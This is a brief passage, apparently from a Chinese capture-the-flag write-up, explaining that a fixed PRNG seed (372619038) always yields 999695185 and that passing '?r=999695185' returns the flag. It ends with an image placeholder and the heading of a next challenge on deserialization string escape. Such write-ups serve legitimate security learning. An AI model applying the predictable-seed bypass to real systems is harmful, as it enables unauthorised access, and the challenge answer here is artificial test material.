这段代码使用固定的种子值 372619038 来初始化伪随机数生成器,然后输出一个伪随机整数。由于使用了固定的种子,每次运行这段代码都会产生相同的随机数。这种特性在某些情况下可能导致安全问题。

每次运行POC产生的伪随机数都一样,是:999695185

将此数值传入参数得到flag

?r=999695185

image

30.反序列化(考点:反序列化字符串逃逸)